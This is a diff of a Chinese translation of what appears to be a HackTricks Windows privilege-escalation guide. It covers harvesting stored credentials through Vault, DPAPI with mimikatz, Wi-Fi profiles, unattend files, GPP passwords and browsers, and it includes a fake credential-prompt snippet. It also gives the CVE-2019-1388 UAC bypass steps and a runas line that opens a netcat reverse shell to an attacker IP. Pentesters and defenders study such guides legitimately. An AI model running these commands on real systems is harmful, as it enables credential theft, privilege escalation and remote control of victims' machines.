Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着**任何需要凭据访问资源**(服务器或网站)的**Windows 应用程序**都可以利用此凭据管理器和 Windows Vault并使用提供的凭据而无需用户一直输入用户名和密码。
Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何**需要凭据访问资源**(服务器或网站)的**Windows 应用程序**都可以利用此凭据管理器和 Windows Vault并使用提供的凭据而无需用户一直输入用户名和密码。
除非应用程序与凭据管理器交互,否则我认为它们无法使用给定资源的凭据。因此,如果您的应用程序希望利用 Vault它应该以某种方式**与凭据管理器通信,并请求默认存储库中该资源的凭据**。
@ -724,7 +725,7 @@ User: WORKGROUP\Administrator
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
使用提供的凭据集合与`runas`命令
使用提供的凭据`runas`
```bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
@ -734,14 +735,14 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
**数据保护APIDPAPI**提供了一种对数据进行对称加密的方法主要用于Windows操作系统中对非对称私钥进行对称加密。这种加密利用用户或系统秘密来显著增加熵。
**DPAPI通过从用户的登录秘密派生的对称密钥来加密密钥**。在涉及系统加密的情况下,它利用系统的域认证秘密。
**DPAPI通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的情况下,它利用系统的域认证秘密。
通过使用DPAPI加密的用户RSA密钥存储在`%APPDATA%\Microsoft\Protect\{SID}`目录中,其中`{SID}`代表用户的[安全标识符](https://en.wikipedia.org/wiki/Security\_Identifier)。**DPAPI密钥与保护用户私钥的主密钥共存于同一文件中**通常由64字节的随机数据组成。值得注意的是访问此目录受限阻止通过CMD中的`dir`命令列出其内容但可以通过PowerShell列出
通过使用DPAPI加密的用户RSA密钥存储在`%APPDATA%\Microsoft\Protect\{SID}`目录中,其中`{SID}`代表用户的[安全标识符](https://en.wikipedia.org/wiki/Security\_Identifier)。**DPAPI密钥与同一文件中保护用户私钥的主密钥共存**通常由64字节的随机数据组成。值得注意的是访问此目录受限阻止通过CMD中的`dir`命令列出其内容但可以通过PowerShell列出
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
您可以使用**mimikatz模块** `dpapi::masterkey` 和适当的参数 (`/pvk` 或 `/rpc`) 来解密它
您可以使用**mimikatz模块** `dpapi::masterkey` 与适当的参数 (`/pvk` 或 `/rpc`) 进行解密
**由主密码保护的凭据文件**通常位于:
```powershell
@ -750,8 +751,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
您可以使用**mimikatz模块** `dpapi::cred` 与适当的 `/masterkey` 解密。\
您可以使用 `sekurlsa::dpapi` 模块如果您是root用户从**内存**中提取许多**DPAPI主密钥**。
您可以使用**mimikatz模块** `dpapi::cred` 与适当的 `/masterkey` 进行解密。\
您可以使用 `sekurlsa::dpapi` 模块如果您是root用户从**内存**中提取**许多DPAPI主密钥**。
{% content-ref url="dpapi-extracting-passwords.md" %}
[dpapi-extracting-passwords.md](dpapi-extracting-passwords.md)
@ -759,9 +760,9 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
### PowerShell凭据
**PowerShell凭据**通常用于**脚本编写**和自动化任务,作为一种方便存储加密凭据的方式。这些凭据受**DPAPI**保护,通常意味着它们只能被创建它们的同一台计算机上的同一用户解密。
**PowerShell凭据**通常用于**脚本编写**和自动化任务,作为一种方便存储加密凭据的方式。这些凭据受**DPAPI**保护,通常意味着它们只能被创建它们的同一台计算机上的同一用户解密。
要从包含PS凭据的文件中**解密**凭据,您可以执行:
要从包含凭据的文件中**解密**PS凭据,您可以执行以下操作
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -774,7 +775,7 @@ JustAPWD!
```
### Wifi
### 无线网络
### Wifi
```bash
#List saved Wifi using
netsh wlan show profile
@ -785,7 +786,8 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^|
```
### 已保存的RDP连接
您可以在 `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\``HKCU\Software\Microsoft\Terminal Server Client\Servers\` 中找到它们。
您可以在 `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\` 中找到它们\
以及在 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` 中找到它们
### 最近运行的命令
```
@ -796,8 +798,8 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
使用**Mimikatz**的`dpapi::rdg`模块,并使用适当的`/masterkey`来**解密任何 .rdg 文件**\
您可以使用Mimikatz的`sekurlsa::dpapi`模块从内存中**提取许多 DPAPI 主密钥**
使用**Mimikatz**的`dpapi::rdg`模块,并使用适当的`/masterkey`来**解密任何 .rdg 文件**\
您可以使用Mimikatz的`sekurlsa::dpapi`模块从内存中提取许多DPAPI主密钥。
### 便签
@ -890,7 +892,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
检查 `C:\Windows\CCM\SCClient.exe` 是否存在。\
安装程序以 **SYSTEM 权限运行**,许多容易受到 **DLL 侧加载** 攻击(信息来自 [https://github.com/enjoiz/Privesc](https://github.com/enjoiz/Privesc))。
安装程序以**SYSTEM权限运行**,许多容易受到**DLL Sideloading**攻击(信息来自[https://github.com/enjoiz/Privesc](https://github.com/enjoiz/Privesc))。
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@ -912,7 +914,7 @@ SSH私钥可以存储在注册表键`HKCU\Software\OpenSSH\Agent\Keys`中,因
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
如果在该路径中找到任何条目那很可能是一个已保存的SSH密钥。它被加密存储,但可以使用[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)轻松解密。\
如果您在该路径中找到任何条目那么很可能是一个已保存的SSH密钥。它以加密形式存储,但可以使用[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)轻松解密。\
有关此技术的更多信息,请参阅:[https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
如果`ssh-agent`服务未运行,并且您希望它在启动时自动启动,请运行:
@ -920,7 +922,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
{% hint style="info" %}
看起来这个技术不再有效。我尝试创建一些ssh密钥使用`ssh-add`添加它们,并通过ssh登录到一台机器。注册表HKCU\Software\OpenSSH\Agent\Keys不存在并且procmon在非对称密钥认证期间没有识别到`dpapi.dll`的使用。
看起来这个技术不再有效。我尝试创建一些ssh密钥使用`ssh-add`添加它们,然后通过ssh登录到一台机器。注册表`HKCU\Software\OpenSSH\Agent\Keys`不存在,procmon在非对称密钥认证期间没有识别到`dpapi.dll`的使用。
{% endhint %}
### 无人值守文件
@ -940,7 +942,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n
```
您还可以使用**metasploit**搜索这些文件_post/windows/gather/enum\_unattend_
示例内容
示例内容:
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -985,7 +987,7 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
以前有一个功能允许通过组策略首选项GPP在一组计算机上部署自定义本地管理员帐户。然而这种方法存在重大安全漏洞。首先存储在SYSVOL中的组策略对象GPO以XML文件的形式存储,可以被任何域用户访问。其次这些GPP中的密码使用公开记录的默认密钥进行AES256加密可以被任何经过身份验证的用户解密。这构成了严重的风险因为这可能允许用户获提升的特权。
以前有一个功能允许通过组策略首选项GPP在一组计算机上部署自定义本地管理员帐户。然而这种方法存在重大安全漏洞。首先存储在SYSVOL中的组策略对象GPO以XML文件的形式可以被任何域用户访问。其次这些GPP中的密码使用公开记录的默认密钥进行AES256加密可以被任何经过身份验证的用户解密。这构成了严重的风险因为这可能允许用户获提升的特权。
为了减轻这一风险开发了一个功能用于扫描包含非空“cpassword”字段的本地缓存的GPP文件。在找到这样的文件时该功能会解密密码并返回一个自定义的PowerShell对象。该对象包括有关GPP和文件位置的详细信息有助于识别和修复这个安全漏洞。
@ -1021,7 +1023,7 @@ C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
Web.config文件中包含凭据的示例:
Web.config中包含凭据的示例
```xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
@ -1061,7 +1063,7 @@ Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### 请求凭据
您可以始终**要求用户输入自己的凭据,甚至是其他用户的凭据**,如果您认为他们可能知道这些凭据(请注意,直接**要求**客户提供**凭据**是非常**危险**的:
您可以始终**要求用户输入他的凭据,甚至是其他用户的凭据**,如果您认为他可能知道它们(请注意,直接向客户**请求**凭据确实**存在风险**:
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1069,9 +1071,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U
#Get plaintext
$cred.GetNetworkCredential() | fl
```
### **可能包含凭的文件名**
### **可能包含凭的文件名**
已知一些文件曾经包含**明文密码**或**Base64**编码的凭据
已知一些文件曾经包含**明文**或**Base64**格式的**密码**
```bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
@ -1146,7 +1148,7 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
```
### 在回收站中的凭证
您还应该检查回收站,查找其中的凭证
您还应该检查回收站,查找其中是否有凭证。
要**恢复**多个程序保存的密码,您可以使用:[http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html)
@ -1159,12 +1161,12 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
```
[**从注册表中提取openssh密钥。**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
[**从注册表中提取 openssh 密钥。**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
### 浏览器历史记录
您应该检查存储**Chrome或Firefox**密码的数据库。\
检查浏览器的历史记录、书签和收藏夹,也许一些**密码**存储在那里。
您应该检查存储有来自 **Chrome Firefox**密码的数据库。\
检查浏览器的历史记录、书签和收藏夹,也许一些 **密码**存储在那里。
从浏览器中提取密码的工具:
@ -1173,19 +1175,19 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
* [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
* [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
### **COM DLL覆盖**
### **COM DLL 覆盖**
**组件对象模型(COM)** 是Windows操作系统内置的一种技术允许不同语言的软件组件之间进行**互联**。每个COM组件通过类IDCLSID进行**标识**每个组件通过一个或多个接口暴露功能通过接口IDIID进行**标识**
**组件对象模型 (COM)** 是 Windows 操作系统内置的一种技术,允许不同语言的软件组件之间进行 **互联**。每个 COM 组件通过类 ID (CLSID) 进行 **标识**,每个组件通过一个或多个接口暴露功能,这些接口通过接口 ID (IID) 进行 **标识**
COM类和接口在注册表中定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**下。此注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**而创建的。
COM 类和接口在注册表中定义在 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** **HKEY\_**_**CLASSES\_**_**ROOT\Interface** 下。此注册表是通过合并 **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** 创建的。
在此注册表的CLSIDs中您可以找到包含**指向DLL的默认值**和一个名为**ThreadingModel**的值的子注册表**InProcServer32**,该值可以是**Apartment**(单线程)、**Free**(多线程)、**Both**(单线程或多线程)或**Neutral**(线程中立)
在此注册表的 CLSIDs 中,您可以找到包含指向 **DLL****默认值** 和一个名为 **ThreadingModel** 的值的子注册表 **InProcServer32**,该值可以是 **Apartment** (单线程)、**Free** (多线程)、**Both** (单线程或多线程) 或 **Neutral** (线程中立)
![](<../../.gitbook/assets/image (638).png>)
基本上,如果您可以**覆盖将要执行的任何DLL**则如果该DLL将由不同用户执行则可以**提升权限**。
基本上,如果您可以 **覆盖将要执行的任何 DLL**,则如果该 DLL 将由不同用户执行,则可以 **提升权限**
要了解攻击者如何使用COM劫持作为持久性机制请查看
要了解攻击者如何使用 COM 劫持作为持久性机制,请查看:
{% content-ref url="com-hijacking.md" %}
[com-hijacking.md](com-hijacking.md)
@ -1214,11 +1216,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### 搜索密码的工具
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是我创建的一个 msf 插件**,用于**自动执行每个在受害者内部搜索凭据的 metasploit POST 模块**。\
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) 是我创建的一个 msf 插件,用于自动执行每个在受害者内部搜索凭据的 metasploit POST 模块。\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索包含在此页面中提到的所有密码的文件。\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个从系统中提取密码的工具。
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个从系统中提取密码的强大工具。
工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索**会话**、**用户名**和**密码**,这些数据以明文形式保存在几个工具中PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP
工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索几个工具中以明文保存此数据的 **会话**、**用户名** 和 **密码**PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP
```bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
@ -1227,26 +1229,26 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## 泄漏的处理程序
想象一下,**一个以SYSTEM权限运行的进程打开一个新进程**`OpenProcess()`)并具有**完全访问权限**。同一个进程**还创建一个权限较低但继承主进程所有打开处理程序的新进程**`CreateProcess()`)。\
然后,如果你**权限较低的进程有完全访问权限**,你可以获取通过`OpenProcess()`创建的**对特权进程的打开处理程序**,并**注入shellcode**。\
想象一下,**一个以SYSTEM权限运行的进程打开一个新进程**`OpenProcess()`)并具有**完全访问权限**。同一个进程**还创建一个新进程**`CreateProcess()`**权限较低但继承了主进程的所有打开处理程序**。\
然后,如果你**权限较低的进程有完全访问权限**,你可以获取使用`OpenProcess()`创建的**对特权进程的打开处理程序**,并**注入shellcode**。\
[阅读此示例以获取有关**如何检测和利用此漏洞**的更多信息。](leaked-handle-exploitation.md)\
[阅读此**其他文章以获取有关如何测试和滥用继承不同权限级别(不仅仅是完全访问权限)的进程和线程的更全面解释**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
[阅读此**其他文章以获取有关如何测试和滥用继承不同权限级别(不仅仅是完全访问权限)的进程和线程的更完整解释**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
## 命名管道客户端冒充
## 命名管道客户端模拟
被称为**管道**的共享内存段可实现进程通信和数据传输。
Windows提供了一个名为**命名管道**的功能,允许不相关的进程共享数据,甚至跨不同网络。这类似于客户端/服务器架构,角色被定义为**命名管道服务器**和**命名管道客户端**。
当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担** **客户端**的**身份**,前提是具有必要的**SeImpersonate**权限。识别通过管道进行通信的**特权进程**,并模仿其提供的机会,一旦它与您建立的管道互动,您就可以通过采用该进程的身份来**获得更高的权限**。有关执行此类攻击的说明,请查看[**此处**](named-pipe-client-impersonation.md)和[**此处**](./#from-high-integrity-to-system)的有用指南。
当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担** **客户端**的**身份**,前提是具有必要的**SeImpersonate**权限。识别通过管道进行通信的**特权进程**,并模仿其行为,一旦其与您建立的管道进行交互,就有机会通过采用该进程的身份来**获得更高的权限**。有关执行此类攻击的说明,请查看[**此处**](named-pipe-client-impersonation.md)和[**此处**](./#from-high-integrity-to-system)的有用指南。
此外,以下工具允许**拦截通过类似burp的工具进行命名管道通信** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **和此工具允许列出和查看所有管道以查找权限提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
此外,以下工具允许**拦截通过类似burp的工具进行命名管道通信** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而此工具允许列出并查看所有管道以查找权限提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## 其他
### **监视命令行以获取密码**
当以用户身份获取shell时可能正在执行计划任务或其他进程,这些进程**在命令行上传递凭据**。下面的脚本每两秒捕获进程命令行,并将当前状态与先前状态进行比较,输出任何差异。
当以用户身份获取shell时可能会执行计划任务或其他进程,这些进程会**在命令行上传递凭据**。下面的脚本每两秒捕获进程命令行,并将当前状态与先前状态进行比较,输出任何差异。
```powershell
while($true)
{
@ -1256,11 +1258,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```
## 从低权限用户到NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC绕过
## 从进程中窃取密码
如果您可以访问图形界面通过控制台或RDP并且UAC已启用在某些版本的Microsoft Windows中可以从非特权用户运行终端或任何其他进程如"NT\AUTHORITY SYSTEM"。
## 从低权限用户升级到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC 绕过
这使得可能同时利用相同漏洞提升权限并绕过UAC。此外无需安装任何内容过程中使用的二进制文件经过微软签名和发布。
如果您可以访问图形界面(通过控制台或 RDP并且 UAC 已启用,在某些版本的 Microsoft Windows 中,可以从非特权用户运行终端或任何其他进程,如"NT\AUTHORITY SYSTEM"。
这使得可能同时利用同一漏洞提升权限并绕过 UAC。此外无需安装任何内容而在过程中使用的二进制文件是由 Microsoft 签名和发布的。
一些受影响的系统包括:
```
@ -1284,31 +1288,29 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
为利用此漏洞,需要执行以下步骤:
要利用这个漏洞,需要执行以下步骤:
```
1) 右键单击HHUPD.EXE文件并以管理员身份运行。
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) 当UAC提示出现时选择“显示更多详细信息”。
2) When the UAC prompt appears, select "Show more details".
3) 点击“显示发布者证书信息”。
3) Click "Show publisher certificate information".
4) 如果系统存在漏洞,在点击“由...发布”URL链接时可能会打开默认的网络浏览器。
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) 等待网站完全加载然后选择“另存为”以打开一个explorer.exe窗口。
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) 在explorer窗口的地址路径中输入cmd.exe、powershell.exe或任何其他交互式进程。
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) 现在您将拥有一个“NT\AUTHORITY SYSTEM”命令提示符。
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) 记得取消设置和UAC提示以返回到您的桌面。
8) Remember to cancel setup and the UAC prompt to return to your desktop.
```
您可以在以下GitHub存储库中找到所有必要的文件和信息
你可以在以下GitHub存储库中找到所有必要的文件和信息
https://github.com/jas502n/CVE-2019-1388
## 从管理员中间到高完整性级别 / UAC绕过
## 从管理员中权限提升到高权限级别 / UAC绕过
阅读此内容以**了解完整性级别**
@ -1322,11 +1324,11 @@ https://github.com/jas502n/CVE-2019-1388
[uac-user-account-control.md](../windows-security-controls/uac-user-account-control.md)
{% endcontent-ref %}
## **从高完整性到系统**
## **从高权限级别提升到System**
### **新服务**
如果您已在高完整性进程上运行,则**通过创建和执行新服务**可以轻松**提升到SYSTEM权限**
如果您已在高权限进程上运行,则**通过创建和执行新服务**可以轻松实现**提升到SYSTEM**
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
@ -1334,28 +1336,28 @@ sc start newservicename
### AlwaysInstallElevated
从高完整性进程中,您可以尝试**启用 AlwaysInstallElevated 注册表项**并使用 _**.msi**_ 封装程序**安装**一个反向 shell。\
[有关涉及的注册表键以及如何安装 _.msi_ 包的更多信息,请点击这里。](./#alwaysinstallelevated)
[有关涉及的注册表键以及如何安装 _.msi_ 包的更多信息这里。](./#alwaysinstallelevated)
### High + SeImpersonate 权限提升至 System
**您可以**[**在这里找到代码**](seimpersonate-from-high-to-system.md)**。**
**您可以** [**在这里找到代码**](seimpersonate-from-high-to-system.md)**。**
### 从 SeDebug + SeImpersonate 到完整令牌权限
如果您拥有这些令牌权限(可能会在已有高完整性进程中找到),您将能够使用 SeDebug 权限**打开几乎任何进程**(非受保护进程),**复制**进程的令牌,并使用该令牌创建**任意进程**。\
如果您拥有这些令牌权限(可能会在已经具有高完整性进程中找到),您将能够使用 SeDebug 权限**打开几乎任何进程**(非受保护进程),**复制**进程的令牌,并使用该令牌创建**任意进程**。\
使用这种技术通常会**选择以 SYSTEM 身份运行且具有所有令牌权限的任何进程**(是的,您可以找到没有所有令牌权限的 SYSTEM 进程)。\
**您可以在**[**这里找到执行所提出技术的代码示例**](sedebug-+-seimpersonate-copy-token.md)**。**
**您可以在** [**这里找到执行所提出技术的示例代码**](sedebug-+-seimpersonate-copy-token.md)**。**
### **命名管道**
Meterpreter 使用此技术在 `getsystem` 中进行权限提升。该技术包括**创建一个管道,然后创建/滥用一个服务以向该管道写入**。然后,使用具有 **`SeImpersonate`** 权限创建管道的**服务器**将能够**模拟管道客户端(服务)的令牌**,获取 SYSTEM 权限。\
如果您想要[**了解更多关于命名管道的信息,请阅读此处**](./#named-pipe-client-impersonation)。\
如果您想阅读一个[**如何从高完整性提升至 System 使用命名管道的示例,请阅读此处**](from-high-integrity-to-system-with-name-pipes.md)。
这种技术被 Meterpreter 用于在 `getsystem` 中进行提升。该技术包括**创建一个管道,然后创建/滥用一个服务来写入该管道**。然后,使用具有**`SeImpersonate`**权限创建管道的**服务器**将能够**模拟管道客户端(服务)的令牌**,获取 SYSTEM 权限。\
如果您想要[**了解更多关于命名管道的信息,您应该阅读这篇文章**](./#named-pipe-client-impersonation)。\
如果您想阅读一个[**如何从高完整性提升至 System 使用命名管道的示例,您应该阅读这篇文章**](from-high-integrity-to-system-with-name-pipes.md)。
### Dll 劫持
如果您设法**劫持**由**以 SYSTEM 身份运行**的**进程**加载的**dll**则将能够以这些权限执行任意代码。因此Dll 劫持也对这种权限提升很有用,而且,从高完整性进程中更容易实现,因为它将具有用于加载 dll 的文件夹的**写入权限**。\
**您可以**[**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking.md)**。**
如果您设法**劫持**由**以 SYSTEM 身份运行**的**进程**加载的**dll**则将能够以这些权限执行任意代码。因此Dll 劫持对于这种特权升级也很有用,并且,从高完整性进程中更容易实现,因为它将具有用于加载 dll 的文件夹的**写入权限**。\
**您可以** [**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking.md)**。**
### **从管理员或网络服务提升至 System**
@ -1363,7 +1365,7 @@ Meterpreter 使用此技术在 `getsystem` 中进行权限提升。该技术包
### 从 LOCAL SERVICE 或 NETWORK SERVICE 提升至完整权限
**阅读:**[**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
**阅读:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
## 更多帮助
@ -1371,7 +1373,7 @@ Meterpreter 使用此技术在 `getsystem` 中进行权限提升。该技术包
## 有用工具
**查找 Windows 本地权限提升向量的最佳工具:**[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**查找 Windows 本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS**
@ -1383,14 +1385,14 @@ Meterpreter 使用此技术在 `getsystem` 中进行权限提升。该技术包
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器中提取凭据。已检测到。**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中分布收集的密码**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的权限提升 Windows 枚举**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的本地权限提升 Windows 枚举**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的权限提升漏洞Watson 已弃用)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查**(需要管理员权限)**
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要管理员权限)**
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的权限提升漏洞(需要使用 VisualStudio 编译)([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson)\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以搜索配置错误(更多是收集信息工具而不是权限提升)(需要编译)****[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)****\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以搜索配置错误(更多是收集信息工具而不是权限提升)(需要编译) ****[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据github 中有预编译的 exe**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- 将 PowerUp 移植到 C#**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查配置错误github 中有预编译的可执行文件)。不建议使用。在 Win10 中效果不佳。\
@ -1409,35 +1411,35 @@ Meterpreter 使用此技术在 `getsystem` 中进行权限提升。该技术包
_multi/recon/local\_exploit\_suggestor_
您必须使用正确版本的 .NET 编译项目([参见此处](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上安装的 .NET 版本,您可以执行以下操作
您必须使用正确版本的 .NET 编译项目([参见此处](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上安装的 .NET 版本,您可以执行:
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```
## 参考文献
* [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\
* [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\
* [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\
* [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\
* [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=\_8xJaaQlpBo)\
* [https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html)\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\
* [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\
* [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\
